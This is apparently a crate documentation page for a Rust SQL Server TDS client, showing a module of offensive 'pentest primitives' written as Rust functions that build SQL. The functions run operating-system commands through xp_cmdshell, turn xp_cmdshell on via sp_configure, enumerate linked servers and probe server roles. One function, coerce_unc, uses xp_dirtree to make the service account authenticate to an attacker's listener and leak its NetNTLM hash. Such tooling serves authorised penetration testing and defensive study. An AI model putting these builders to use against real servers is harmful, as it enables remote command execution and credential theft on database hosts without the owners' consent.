ms-tds 0.1.0-dev

Pure-Rust TDS 7.4 client for Microsoft SQL Server — PreLogin, TLS-in-TDS handshake tunneling, Login7 with NTLM SSPI, SQLBatch — with offensive primitives (xp_cmdshell, xp_dirtree UNC coerce, linked-server enum).
Documentation
//! Pentest primitives — SQL string builders for offensive TDS work.
//!
//! These functions do NOT execute anything on their own; they return the SQL
//! you'd pass to `TdsClient::sql_batch`. That separation keeps the client
//! auditable while still shipping the useful primitives — you can eyeball
//! every batch, and you can reuse the builders with any other TDS client.

/// `xp_cmdshell` command execution. Assumes `xp_cmdshell` is enabled server-side
/// (`sp_configure 'xp_cmdshell', 1; RECONFIGURE`). Single-quotes in `cmd` are
/// SQL-escaped by doubling.
pub fn xp_cmdshell(cmd: &str) -> String {
    let escaped = cmd.replace('\'', "''");
    format!("EXEC master..xp_cmdshell '{}'", escaped)
}

/// `xp_dirtree` UNC coercion — forces the SQL Server service account to reach
/// out to `listener`, revealing its NetNTLM hash to a listener (Responder,
/// impacket-ntlmrelayx, etc). `depth = 1`, files off.
pub fn coerce_unc(listener: &str, share: &str) -> String {
    let path = format!(r"\\{}\{}", listener, share);
    let escaped = path.replace('\'', "''");
    format!("EXEC master..xp_dirtree '{}', 1, 0", escaped)
}

/// Enumerate linked servers (name, product, provider, data source).
pub fn enum_linked_servers() -> &'static str {
    "SELECT srvname, srvproduct, providername, datasource FROM master..sysservers"
}

/// `IS_SRVROLEMEMBER` probe — the returned scalar is 1 if the current login is
/// in `role`, 0 otherwise, NULL on unknown role.
pub fn is_srvrolemember(role: &str) -> String {
    let escaped = role.replace('\'', "''");
    format!("SELECT IS_SRVROLEMEMBER('{}')", escaped)
}

/// `sp_configure` toggle — enables advanced options, sets `option`, reconfigures,
/// then re-reads the option to prove the state. Requires `sysadmin`.
pub fn sp_configure_toggle(option: &str, value: i32) -> String {
    let esc = option.replace('\'', "''");
    format!(
        "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; \
         EXEC sp_configure '{}', {}; RECONFIGURE; \
         EXEC sp_configure '{}'",
        esc, value, esc,
    )
}